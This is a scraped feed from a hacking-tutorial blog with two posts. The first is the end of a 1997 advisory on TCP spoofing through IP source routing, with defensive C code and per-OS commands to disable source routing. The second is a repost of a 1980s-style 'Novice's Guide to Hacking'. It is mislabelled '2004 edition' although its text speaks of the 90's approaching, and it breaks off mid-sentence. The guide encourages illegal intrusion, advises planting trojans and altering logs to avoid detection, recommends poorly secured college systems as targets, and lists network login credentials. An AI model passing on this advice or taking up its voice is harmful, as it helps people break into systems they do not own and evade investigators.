should be noted that the sequence number is obtained before accept()&lt;br /&gt;has returned and that this cannot be prevented without turning off source&lt;br /&gt;routing in the kernel.&lt;br /&gt;&lt;br /&gt;As a side note, we're very lucky that TCP only associates a source route with&lt;br /&gt;a PCB when the initial SYN is received.  If it accepted and changed the ip&lt;br /&gt;options at any point during a connection, more exotic attacks may be possible.&lt;br /&gt;These could include hijacking connections across the internet without playing&lt;br /&gt;a man in the middle attack and being able to bypass IP options checking&lt;br /&gt;imposed by daemons using getsockopt().  Luckily *BSD based TCP/IP stacks will&lt;br /&gt;not do this, however it would be interesting to examine other implementations.&lt;br /&gt;&lt;br /&gt;Impact&lt;br /&gt;~~~~~~&lt;br /&gt;&lt;br /&gt;The impact of this attack is similar to the more complex TCP sequence&lt;br /&gt;number prediction attack, yet it involves fewer steps, and does not require&lt;br /&gt;us to 'guess' the sequence number.  This allows an attacker to execute&lt;br /&gt;arbitrary commands as root, depending on the configuration of the target&lt;br /&gt;system.  It is required that trust is present here, as an example, the use&lt;br /&gt;of .rhosts or hosts.equiv files.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Solutions&lt;br /&gt;~~~~~~~~~&lt;br /&gt;&lt;br /&gt;The ideal solution to this problem is to have any services which rely on&lt;br /&gt;IP based authentication drop the connection completely when initially&lt;br /&gt;detecting that source routed options are present.  Network administrators&lt;br /&gt;and users can take precautions to prevent users outside of their network&lt;br /&gt;from taking advantage of this problem.  The solutions are hopefully already&lt;br /&gt;either implemented or being implemented.&lt;br /&gt;&lt;br /&gt;1. Block any source routed connections into your networks&lt;br /&gt;2. Block any packets with internal based address from entering your network.&lt;br /&gt;&lt;br /&gt;Network administrators should be aware that these attacks can easily be&lt;br /&gt;launched from behind filtering routers and firewalls.  Internet service&lt;br /&gt;providers and corporations should ensure that internal users cannot launch&lt;br /&gt;the described attacks.  The precautions suggested above should be implemented&lt;br /&gt;to protect internal networks.&lt;br /&gt;&lt;br /&gt;Example code to correctly process source routed packets is presented here&lt;br /&gt;as an example.  Please let us know if there are any problems with it.&lt;br /&gt;This code has been tested on BSD based operating systems.&lt;br /&gt;&lt;br /&gt;        u_char optbuf[BUFSIZ/3];&lt;br /&gt;        int optsize = sizeof(optbuf), ipproto, i;&lt;br /&gt;        struct protoent *ip;&lt;br /&gt;&lt;br /&gt;        if ((ip = getprotobyname("ip")) != NULL)&lt;br /&gt;                ipproto = ip-&gt;p_proto;&lt;br /&gt;        else&lt;br /&gt;                ipproto = IPPROTO_IP;&lt;br /&gt;        if (!getsockopt(0, ipproto, IP_OPTIONS, (char *)optbuf, &amp;optsize) &amp;&amp;&lt;br /&gt;            optsize != 0) {&lt;br /&gt;                for (i = 0; i &lt; optsize; ) {&lt;br /&gt;                        u_char c = optbuf[i];&lt;br /&gt;                        if (c == IPOPT_LSRR || c == IPOPT_SSRR)&lt;br /&gt;                                exit(1);&lt;br /&gt;                        if (c == IPOPT_EOL)&lt;br /&gt;                                break;&lt;br /&gt;                        i += (c == IPOPT_NOP) ? 1 : optbuf[i+1];&lt;br /&gt;                }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;One critical concern is in the case where TCP wrappers are being used.  If&lt;br /&gt;a user is relying on TCP wrappers, the above fix should be incorporated into&lt;br /&gt;fix_options.c.  The problem being that TCP wrappers itself does not close&lt;br /&gt;the connection, however removes the options via setsockopt().  In this case&lt;br /&gt;when control is passed to in.rshd, it will never see any options present,&lt;br /&gt;and the connection will remain open (even if in.rshd has the above patch&lt;br /&gt;incorporated).  An option to completely drop source routed connections will&lt;br /&gt;hopefully be provided in the next release of TCP wrappers.  The other option&lt;br /&gt;is to undefine KILL_IP_OPTIONS, which appears to be undefined by default.&lt;br /&gt;This passes through IP options and allows the called daemon to handle them&lt;br /&gt;accordingly.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Disabling Source Routing&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;&lt;br /&gt;We believe the following information to be accurate, however it is not&lt;br /&gt;guaranteed.&lt;br /&gt;&lt;br /&gt;--- Cisco&lt;br /&gt;&lt;br /&gt;To have the router discard any datagram containing an IP source route option&lt;br /&gt;issue the following command:&lt;br /&gt;&lt;br /&gt;no ip source-route&lt;br /&gt;&lt;br /&gt;This is a global configuration option.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- NetBSD&lt;br /&gt;&lt;br /&gt;Versions of NetBSD prior to 1.2 did not provide the capability for disabling&lt;br /&gt;source routing.  Other versions ship with source routing ENABLED by default.&lt;br /&gt;We do not know of a way to prevent NetBSD from accepting source routed packets.&lt;br /&gt;NetBSD systems, however, can be configured to prevent the forwarding of packets&lt;br /&gt;when acting as a gateway.&lt;br /&gt;&lt;br /&gt;To determine whether forwarding of source routed packets is enabled,&lt;br /&gt;issue the following command:&lt;br /&gt;&lt;br /&gt;# sysctl net.inet.ip.forwarding&lt;br /&gt;# sysctl net.inet.ip.forwsrcrt&lt;br /&gt;&lt;br /&gt;The response will be either 0 or 1, 0 meaning off, and 1 meaning it is on.&lt;br /&gt;&lt;br /&gt;Forwarding of source routed packets can be turned off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.forwsrcrt=0&lt;br /&gt;&lt;br /&gt;Forwarding of all packets in general can turned off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.forwarding=0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- BSD/OS&lt;br /&gt;&lt;br /&gt;BSDI has made a patch availible for rshd, rlogind, tcpd and nfsd.  This&lt;br /&gt;patch is availible at:&lt;br /&gt;&lt;br /&gt;ftp://ftp.bsdi.com/bsdi/patches/patches-2.1&lt;br /&gt;&lt;br /&gt;OR via their patches email server &lt;patches@bsdi.com&gt;&lt;br /&gt;&lt;br /&gt;The patch number is&lt;br /&gt;U210-037 (normal version)&lt;br /&gt;D210-037 (domestic version for sites running kerberized version)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BSD/OS 2.1 has source routing disabled by default&lt;br /&gt;&lt;br /&gt;Previous versions ship with source routing ENABLED by default.  As far as&lt;br /&gt;we know, BSD/OS cannot be configured to drop source routed packets destined&lt;br /&gt;for itself, however can be configured to prevent the forwarding of such&lt;br /&gt;packets when acting as a gateway.&lt;br /&gt;&lt;br /&gt;To determine whether forwarding of source routed packets is enabled,&lt;br /&gt;issue the following command:&lt;br /&gt;&lt;br /&gt;# sysctl net.inet.ip.forwarding&lt;br /&gt;# sysctl net.inet.ip.forwsrcrt&lt;br /&gt;&lt;br /&gt;The response will be either 0 or 1, 0 meaning off, and 1 meaning it is on.&lt;br /&gt;&lt;br /&gt;Forwarding of source routed packets can be turned off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.forwsrcrt=0&lt;br /&gt;&lt;br /&gt;Forwarding of all packets in general can turned off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.forwarding=0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- OpenBSD&lt;br /&gt;&lt;br /&gt;Ships with source routing turned off by default.  To determine whether source&lt;br /&gt;routing is enabled, the following command can be issued:&lt;br /&gt;&lt;br /&gt;# sysctl net.inet.ip.sourceroute&lt;br /&gt;&lt;br /&gt;The response will be either 0 or 1, 0 meaning that source routing is off,&lt;br /&gt;and 1 meaning it is on.  If source routing has been turned on, turn off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.sourceroute=0&lt;br /&gt;&lt;br /&gt;This will prevent OpenBSD from forwarding and accepting any source routed&lt;br /&gt;packets.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- FreeBSD&lt;br /&gt;&lt;br /&gt;Ships with source routing turned off by default.  To determine whether source&lt;br /&gt;routing is enabled, the following command can be issued:&lt;br /&gt;&lt;br /&gt;# sysctl net.inet.ip.sourceroute&lt;br /&gt;&lt;br /&gt;The response will be either 0 or 1, 0 meaning that source routing is off,&lt;br /&gt;and 1 meaning it is on.  If source routing has been turned on, turn off via:&lt;br /&gt;&lt;br /&gt;# sysctl -w net.inet.ip.sourceroute=0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- Linux&lt;br /&gt;&lt;br /&gt;Linux by default has source routing disabled in the kernel.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- Solaris 2.x&lt;br /&gt;&lt;br /&gt;Ships with source routing enabled by default.  Solaris 2.5.1 is one of the&lt;br /&gt;few commercial operating systems that does have unpredictable sequence&lt;br /&gt;numbers, which does not help in this attack.&lt;br /&gt;&lt;br /&gt;We know of no method to prevent Solaris from accepting source routed&lt;br /&gt;connections, however, Solaris systems acting as gateways can be prevented&lt;br /&gt;from forwarding any source routed packets via the following commands:&lt;br /&gt;&lt;br /&gt;# ndd -set /dev/ip ip_forward_src_routed 0&lt;br /&gt;&lt;br /&gt;You can prevent forwarding of all packets via:&lt;br /&gt;&lt;br /&gt;# ndd -set /dev/ip ip_forwarding 0&lt;br /&gt;&lt;br /&gt;These commands can be added to /etc/rc2.d/S69inet to take effect at bootup.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- SunOS 4.x&lt;br /&gt;&lt;br /&gt;We know of no method to prevent SunOS from accepting source routed&lt;br /&gt;connections, however a patch is availible to prevent SunOS systems from&lt;br /&gt;forwarding source routed packets.&lt;br /&gt;&lt;br /&gt;This patch is availible at:&lt;br /&gt;&lt;br /&gt;ftp://ftp.secnet.com/pub/patches/source-routing-patch.tar.gz&lt;br /&gt;&lt;br /&gt;To configure SunOS to prevent forwarding of all packets, the following&lt;br /&gt;command can be issued:&lt;br /&gt;&lt;br /&gt;# echo "ip_forwarding/w 0" | adb -k -w /vmunix /dev/mem&lt;br /&gt;# echo "ip_forwarding?w 0" | adb -k -w /vmunix /dev/mem&lt;br /&gt;&lt;br /&gt;The first command turns off packet forwarding in /dev/mem, the second in&lt;br /&gt;/vmunix.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--- HP-UX&lt;br /&gt;&lt;br /&gt;HP-UX does not appear to have options for configuring an HP-UX system to&lt;br /&gt;prevent accepting or forwarding of source routed packets.  HP-UX has IP&lt;br /&gt;forwarding turned on by default and should be turned off if acting as a&lt;br /&gt;firewall.  To determine whether IP forwarding is currently on, the following&lt;br /&gt;command can be issued:&lt;br /&gt;&lt;br /&gt;# adb /hp-ux&lt;br /&gt;ipforwarding?X      &lt;- user input&lt;br /&gt;ipforwarding:&lt;br /&gt;ipforwarding: 1&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;A response of 1 indicates IP forwarding is ON, 0 indicates off.  HP-UX can&lt;br /&gt;be configured to prevent the forwarding of any packets via the following&lt;br /&gt;commands:&lt;br /&gt;&lt;br /&gt;# adb -w /hp-ux /dev/kmem&lt;br /&gt;ipforwarding/W 0&lt;br /&gt;ipforwarding?W 0&lt;br /&gt;^D&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;--- AIX&lt;br /&gt;&lt;br /&gt;AIX cannot be configured to discard source routed packets destined for itself,&lt;br /&gt;however can be configured to prevent the forwarding of source routed packets.&lt;br /&gt;IP forwarding and forwarding of source routed packets specifically can be&lt;br /&gt;turned off under AIX via the following commands:&lt;br /&gt;&lt;br /&gt;To turn off forwarding of all packets:&lt;br /&gt;&lt;br /&gt;# /usr/sbin/no -o ipforwarding=0&lt;br /&gt;&lt;br /&gt;To turn off forwarding of source routed packets:&lt;br /&gt;&lt;br /&gt;# /usr/sbin/no -o nonlocsrcroute=0&lt;br /&gt;&lt;br /&gt;Note that these commands should be added to /etc/rc.net&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If shutting off source routing is not possible and you are still using&lt;br /&gt;services which rely on IP address authentication, they should be disabled&lt;br /&gt;immediately (in.rshd, in.rlogind).  in.rlogind is safe if .rhosts and&lt;br /&gt;/etc/hosts.equiv are not used.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Attributions&lt;br /&gt;~~~~~~~~~~~~&lt;br /&gt;&lt;br /&gt;Thanks to Niels Provos &lt;provos@physnet.uni-hamburg.de&gt; for providing&lt;br /&gt;the information and details of this attack.  You can view his web&lt;br /&gt;site at http://www.physnet.uni-hamburg.de/provos&lt;br /&gt;&lt;br /&gt;Thanks to Theo de Raadt, the maintainer of OpenBSD for forwarding this&lt;br /&gt;information to us.  More information on OpenBSD can be found at&lt;br /&gt;http://www.openbsd.org&lt;br /&gt;&lt;br /&gt;Thanks to Keith Bostic &lt;bostic@bsdi.com&gt; for discussion and a quick&lt;br /&gt;solution for BSD/OS.&lt;br /&gt;&lt;br /&gt;Thanks to Brad Powell &lt;brad.powell@west.sun.com&gt; for providing information&lt;br /&gt;for Solaris 2.x and SunOS 4.x operating systems.&lt;br /&gt;&lt;br /&gt;Thanks go to CERT and AUSCERT for recommendations in this advisory.&lt;br /&gt;&lt;br /&gt;You can contact the author of this advisory at oliver@secnet.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-----BEGIN PGP PUBLIC KEY BLOCK-----&lt;br /&gt;Version: 2.6.3ia&lt;br /&gt;&lt;br /&gt;mQCNAzJATn0AAAEEAJeGbZyoCw14fCoAMeBRKiZ3L6JMbd9f4BtwdtYTwD42/Uz1&lt;br /&gt;A/4UiRJzRLGhARpt1J06NVQEKXQDbejxGIGzAGTcyqUCKH6yNAncqoep3+PKIQJd&lt;br /&gt;Kd23buvbk7yUgyVlqQHDDsW0zMKdlSO7rYByT6zsW0Rv5JmHJh/bLKAOe7p9AAUR&lt;br /&gt;tCVPbGl2ZXIgRnJpZWRyaWNocyA8b2xpdmVyQHNlY25ldC5jb20+iQCVAwUQMkBO&lt;br /&gt;fR/bLKAOe7p9AQEBOAQAkTXiBzf4a31cYYDFmiLWgXq0amQ2lsamdrQohIMEDXe8&lt;br /&gt;45SoGwBzXHVh+gnXCQF2zLxaucKLG3SXPIg+nJWhFczX2Fo97HqdtFmx0Y5IyMgU&lt;br /&gt;qRgK/j8KyJRdVliM1IkX8rf3Bn+ha3xn0yrWlTZMF9nL7iVPBsmgyMOuXwZ7ZB8=&lt;br /&gt;=xq4f&lt;br /&gt;-----END PGP PUBLIC KEY BLOCK-----&lt;br /&gt;&lt;br /&gt;Copyright Notice&lt;br /&gt;~~~~~~~~~~~~~~~~&lt;br /&gt;The contents of this advisory are Copyright (C) 1997 Secure Networks Inc,&lt;br /&gt;and may be distributed freely provided that no fee is charged for&lt;br /&gt;distribution, and that proper credit is given.&lt;br /&gt;&lt;br /&gt; You can find Secure Networks papers at ftp://ftp.secnet.com/pub/papers&lt;br /&gt; and advisories at ftp://ftp.secnet.com/advisories&lt;br /&gt;&lt;br /&gt; You can browse our web site at http://www.secnet.com&lt;br /&gt;&lt;br /&gt; You can subscribe to our security advisory mailing list by sending mail to&lt;br /&gt; majordomo@secnet.com with the line "subscribe sni-advisories"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-5935710754006983731?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/SeUU8LNEuM5fhsbJJVwOdkD6ZZ4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SeUU8LNEuM5fhsbJJVwOdkD6ZZ4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/SeUU8LNEuM5fhsbJJVwOdkD6ZZ4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SeUU8LNEuM5fhsbJJVwOdkD6ZZ4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/ZjkHPQ3OLes" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/5935710754006983731/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/simple-tcp-spoofing-attack.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/5935710754006983731?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/5935710754006983731?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/ZjkHPQ3OLes/simple-tcp-spoofing-attack.html" title="A simple TCP spoofing attack" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/simple-tcp-spoofing-attack.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUIDRH8-eip7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-3118544363063310511</id><published>2009-11-03T02:18:00.002-08:00</published><updated>2009-11-03T02:19:35.152-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:19:35.152-08:00</app:edited><title>नोविस गाइड तो हच्किंग पार्ट 2</title><content type="html">+++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;               |              The LOD/H Presents               |&lt;br /&gt;++++++++++++++++                                               ++++++++++++++++&lt;br /&gt; \                 A Novice's Guide to Hacking- 2004 edition                 /&lt;br /&gt;  \                =========================================                /&lt;br /&gt;   \                                  by                                   /&lt;br /&gt;    \                             The Mentor                              /&lt;br /&gt;     \                  Legion of Doom/Legion of Hackers                 /&lt;br /&gt;      \                                                                 /&lt;br /&gt;       \                        December, 2004                         /&lt;br /&gt;        \                  Merry Christmas Everyone!                  /&lt;br /&gt;         \+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/&lt;br /&gt;&lt;br /&gt;    **********************************************************************&lt;br /&gt;    |  The author hereby grants permission to reproduce, redistribute,   |&lt;br /&gt;    |  or include this file in your g-file section, electronic or print  |&lt;br /&gt;    |  newletter, or any other form of transmission that you choose, as  |&lt;br /&gt;    |  long as it is kept intact and whole, with no ommissions, delet-   |&lt;br /&gt;    |  ions, or changes.  (C) The Mentor- Phoenix Project Productions    |&lt;br /&gt;    |                                     2003,2004  XXX/XXX-XXXX        |&lt;br /&gt;    **********************************************************************&lt;br /&gt;&lt;br /&gt;Introduction: The State of the Hack&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;   After surveying a rather large g-file collection, my attention was drawn to&lt;br /&gt;the fact that there hasn't been a good introductory file written for absolute&lt;br /&gt;beginners since back when Mark Tabas was cranking them out (and almost&lt;br /&gt;*everyone* was a beginner!)  The Arts of Hacking and Phreaking have changed&lt;br /&gt;radically since that time, and as the 90's approach, the hack/phreak community&lt;br /&gt;has recovered from the Summer '87 busts (just like it recovered from the Fall&lt;br /&gt;'85 busts, and like it will always recover from attempts to shut it down), and&lt;br /&gt;the progressive media (from Reality Hackers magazine to William Gibson and&lt;br /&gt;Bruce Sterling's cyberpunk fables of hackerdom) is starting to take notice&lt;br /&gt;of us for the first time in recent years in a positive light.&lt;br /&gt;   Unfortunately, it has also gotten more dangerous since the early 80's.&lt;br /&gt;Phone cops have more resources, more awareness, and more intelligence that they&lt;br /&gt;exhibited in the past.  It is becoming more and more difficult to survive as&lt;br /&gt;a hacker long enough to become skilled in the art.  To this end this file&lt;br /&gt;is dedicated .  If it can help someone get started, and help them survive&lt;br /&gt;to discover new systems and new information, it will have served it's purpose,&lt;br /&gt;and served as a partial repayment to all the people who helped me out when I&lt;br /&gt;was a beginner.&lt;br /&gt;&lt;br /&gt;Contents&lt;br /&gt;~~~~~~~~&lt;br /&gt;   This file will be divided into four parts:&lt;br /&gt;       Part 1: What is Hacking, A Hacker's Code of Ethics, Basic Hacking Safety&lt;br /&gt;       Part 2: Packet Switching Networks: Telenet- How it Works, How to Use it,&lt;br /&gt;               Outdials, Network Servers, Private PADs&lt;br /&gt;       Part 3: Identifying a Computer, How to Hack In, Operating System&lt;br /&gt;               Defaults&lt;br /&gt;       Part 4: Conclusion- Final Thoughts, Books to Read, Boards to Call,&lt;br /&gt;               Acknowledgements&lt;br /&gt;&lt;br /&gt;Part One: The Basics&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;    As long as there have been computers, there have been hackers.  In the 50's&lt;br /&gt;at the Massachusets Institute of Technology (MIT), students devoted much time&lt;br /&gt;and energy to ingenious exploration of the computers.  Rules and the law were&lt;br /&gt;disregarded in their pursuit for the 'hack'.  Just as they were enthralled with&lt;br /&gt;their pursuit of information, so are we.  The thrill of the hack is not in&lt;br /&gt;breaking the law, it's in the pursuit and capture of knowledge.&lt;br /&gt;    To this end, let me contribute my suggestions for guidelines to follow to&lt;br /&gt;ensure that not only you stay out of trouble, but you pursue your craft without&lt;br /&gt;damaging the computers you hack into or the companies who own them.&lt;br /&gt;&lt;br /&gt;I.    Do not intentionally damage *any* system.&lt;br /&gt;II.   Do not alter any system files other than ones needed to ensure your&lt;br /&gt;      escape from detection and your future access (Trojan Horses, Altering&lt;br /&gt;      Logs, and the like are all necessary to your survival for as long as&lt;br /&gt;      possible.)&lt;br /&gt;III.  Do not leave your (or anyone else's) real name, real handle, or real&lt;br /&gt;      phone number on any system that you access illegally.  They *can* and&lt;br /&gt;      will track you down from your handle!&lt;br /&gt;IV.   Be careful who you share information with.  Feds are getting trickier.&lt;br /&gt;      Generally, if you don't know their voice phone number, name, and&lt;br /&gt;      occupation or haven't spoken with them voice on non-info trading&lt;br /&gt;      conversations, be wary.&lt;br /&gt;V.    Do not leave your real phone number to anyone you don't know.  This&lt;br /&gt;      includes logging on boards, no matter how k-rad they seem.  If you&lt;br /&gt;      don't know the sysop, leave a note telling some trustworthy people&lt;br /&gt;      that will validate you.&lt;br /&gt;VI.   Do not hack government computers.  Yes, there are government systems&lt;br /&gt;      that are safe to hack, but they are few and far between.  And the&lt;br /&gt;      government has inifitely more time and resources to track you down than&lt;br /&gt;      a company who has to make a profit and justify expenses.&lt;br /&gt;VII.  Don't use codes unless there is *NO* way around it (you don't have a&lt;br /&gt;      local telenet or tymnet outdial and can't connect to anything 800...)&lt;br /&gt;      You use codes long enough, you will get caught.  Period.&lt;br /&gt;VIII. Don't be afraid to be paranoid.  Remember, you *are* breaking the law.&lt;br /&gt;      It doesn't hurt to store everything encrypted on your hard disk, or&lt;br /&gt;      keep your notes buried in the backyard or in the trunk of your car.&lt;br /&gt;      You may feel a little funny, but you'll feel a lot funnier when you&lt;br /&gt;      when you meet Bruno, your transvestite cellmate who axed his family to&lt;br /&gt;      death.&lt;br /&gt;IX.   Watch what you post on boards.  Most of the really great hackers in the&lt;br /&gt;      country post *nothing* about the system they're currently working&lt;br /&gt;      except in the broadest sense (I'm working on a UNIX, or a COSMOS, or&lt;br /&gt;      something generic.  Not "I'm hacking into General Electric's Voice Mail&lt;br /&gt;      System" or something inane and revealing like that.)&lt;br /&gt;X.    Don't be afraid to ask questions.  That's what more experienced hackers&lt;br /&gt;      are for.  Don't expect *everything* you ask to be answered, though.&lt;br /&gt;      There are some things (LMOS, for instance) that a begining hacker&lt;br /&gt;      shouldn't mess with.  You'll either get caught, or screw it up for&lt;br /&gt;      others, or both.&lt;br /&gt;XI.   Finally, you have to actually hack.  You can hang out on boards all you&lt;br /&gt;      want, and you can read all the text files in the world, but until you&lt;br /&gt;      actually start doing it, you'll never know what it's all about.  There's&lt;br /&gt;      no thrill quite the same as getting into your first system (well, ok,&lt;br /&gt;      I can think of a couple of bigger thrills, but you get the picture.)&lt;br /&gt;&lt;br /&gt;   One of the safest places to start your hacking career is on a computer&lt;br /&gt;system belonging to a college.  University computers have notoriously lax&lt;br /&gt;security, and are more used to hackers, as every college computer depart-&lt;br /&gt;ment has one or two, so are less likely to press charges if you should&lt;br /&gt;be detected.  But the odds of them detecting you and having the personel to&lt;br /&gt;committ to tracking you down are slim as long as you aren't destructive.&lt;br /&gt;   If you are already a college student, this is ideal, as you can legally&lt;br /&gt;explore your computer system to your heart's desire, then go out and look&lt;br /&gt;for similar systems that you can penetrate with confidence, as you're already&lt;br /&gt;familar with them.&lt;br /&gt;   So if you just want to get your feet wet, call your local college.  Many of&lt;br /&gt;them will provide accounts for local residents at a nominal (under $20) charge.&lt;br /&gt;   Finally, if you get caught, stay quiet until you get a lawyer.  Don't vol-&lt;br /&gt;unteer any information, no matter what kind of 'deals' they offer you. &lt;br /&gt;Nothing is binding unless you make the deal through your lawyer, so you might&lt;br /&gt;as well shut up and wait.&lt;br /&gt;&lt;br /&gt;Part Two: Networks&lt;br /&gt;~~~~~~~~~~~~~~~~~~&lt;br /&gt;   The best place to begin hacking (other than a college) is on one of the&lt;br /&gt;bigger networks such as Telenet.  Why?  First, there is a wide variety of&lt;br /&gt;computers to choose from, from small Micro-Vaxen to huge Crays.  Second, the&lt;br /&gt;networks are fairly well documented.  It's easier to find someone who can help&lt;br /&gt;you with a problem off of Telenet than it is to find assistance concerning your&lt;br /&gt;local college computer or high school machine.  Third, the networks are safer.&lt;br /&gt;Because of the enormous number of calls that are fielded every day by the big&lt;br /&gt;networks, it is not financially practical to keep track of where every call and&lt;br /&gt;connection are made from.  It is also very easy to disguise your location using&lt;br /&gt;the network, which makes your hobby much more secure.&lt;br /&gt;   Telenet has more computers hooked to it than any other system in the world&lt;br /&gt;once you consider that from Telenet you have access to Tymnet, ItaPAC, JANET,&lt;br /&gt;DATAPAC, SBDN, PandaNet, THEnet, and a whole host of other networks, all of&lt;br /&gt;which you can connect to from your terminal.&lt;br /&gt;   The first step that you need to take is to identify your local dialup port.&lt;br /&gt;This is done by dialing 1-800-424-9494 (1200 7E1) and connecting.  It will&lt;br /&gt;spout some garbage at you and then you'll get a prompt saying 'TERMINAL='.&lt;br /&gt;This is your terminal type.  If you have vt100 emulation, type it in now.  Or&lt;br /&gt;just hit return and it will default to dumb terminal mode.&lt;br /&gt;   You'll now get a prompt that looks like a @.  From here, type @c mail &lt;cr&gt;&lt;br /&gt;and then it will ask for a Username.  Enter 'phones' for the username. When it&lt;br /&gt;asks for a password, enter 'phones' again.  From this point, it is menu&lt;br /&gt;driven.  Use this to locate your local dialup, and call it back locally.  If&lt;br /&gt;you don't have a local dialup, then use whatever means you wish to connect to&lt;br /&gt;one long distance (more on this later.)&lt;br /&gt;   When you call your local dialup, you will once again go through the&lt;br /&gt;TERMINAL= stuff, and once again you'll be presented with a @.  This prompt lets&lt;br /&gt;you know you are connected to a Telenet PAD.  PAD stands for either Packet&lt;br /&gt;Assembler/Disassembler (if you talk to an engineer), or Public Access Device&lt;br /&gt;(if you talk to Telenet's marketing people.)  The first description is more&lt;br /&gt;correct.&lt;br /&gt;   Telenet works by taking the data you enter in on the PAD you dialed into,&lt;br /&gt;bundling it into a 128 byte chunk (normally... this can be changed), and then&lt;br /&gt;transmitting it at speeds ranging from 9600 to 19,200 baud to another PAD, who&lt;br /&gt;then takes the data and hands it down to whatever computer or system it's&lt;br /&gt;connected to.  Basically, the PAD allows two computers that have different baud&lt;br /&gt;rates or communication protocols to communicate with each other over a long&lt;br /&gt;distance.  Sometimes you'll notice a time lag in the remote machines response.&lt;br /&gt;This is called PAD Delay, and is to be expected when you're sending data&lt;br /&gt;through several different links.&lt;br /&gt;   What do you do with this PAD?  You use it to connect to remote computer&lt;br /&gt;systems by typing 'C' for connect and then the Network User Address (NUA) of&lt;br /&gt;the system you want to go to.&lt;br /&gt;   An NUA takes the form of   031103130002520&lt;br /&gt;                              \___/\___/\___/&lt;br /&gt;                                |    |    |&lt;br /&gt;                                |    |    |____ network address&lt;br /&gt;                                |    |_________ area prefix&lt;br /&gt;                                |______________ DNIC&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;     This is a summary of DNIC's (taken from Blade Runner's file on ItaPAC)&lt;br /&gt;     according to their country and network name.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DNIC   Network Name    Country          DNIC   Network Name    Country&lt;br /&gt;_______________________________________________________________________________&lt;br /&gt;                                     |&lt;br /&gt;02041   Datanet 1       Netherlands  |  03110   Telenet         USA&lt;br /&gt;02062   DCS             Belgium      |  03340   Telepac         Mexico&lt;br /&gt;02080   Transpac        France       |  03400   UDTS-Curacau    Curacau&lt;br /&gt;02284   Telepac         Switzerland  |  04251   Isranet         Israel&lt;br /&gt;02322   Datex-P         Austria      |  04401   DDX-P           Japan&lt;br /&gt;02329   Radaus          Austria      |  04408   Venus-P         Japan&lt;br /&gt;02342   PSS             UK           |  04501   Dacom-Net       South Korea&lt;br /&gt;02382   Datapak         Denmark      |  04542   Intelpak        Singapore&lt;br /&gt;02402   Datapak         Sweden       |  05052   Austpac         Australia&lt;br /&gt;02405   Telepak         Sweden       |  05053   Midas           Australia&lt;br /&gt;02442   Finpak          Finland      |  05252   Telepac         Hong Kong&lt;br /&gt;02624   Datex-P         West Germany |  05301   Pacnet          New Zealand&lt;br /&gt;02704   Luxpac          Luxembourg   |  06550   Saponet         South Africa&lt;br /&gt;02724   Eirpak          Ireland      |  07240   Interdata       Brazil&lt;br /&gt;03020   Datapac         Canada       |  07241   Renpac          Brazil&lt;br /&gt;03028   Infogram        Canada       |  09000   Dialnet         USA&lt;br /&gt;03103   ITT/UDTS        USA          |  07421   Dompac          French Guiana&lt;br /&gt;03106   Tymnet          USA          |&lt;br /&gt;&lt;br /&gt;   There are two ways to find interesting addresses to connect to.  The first&lt;br /&gt;and easiest 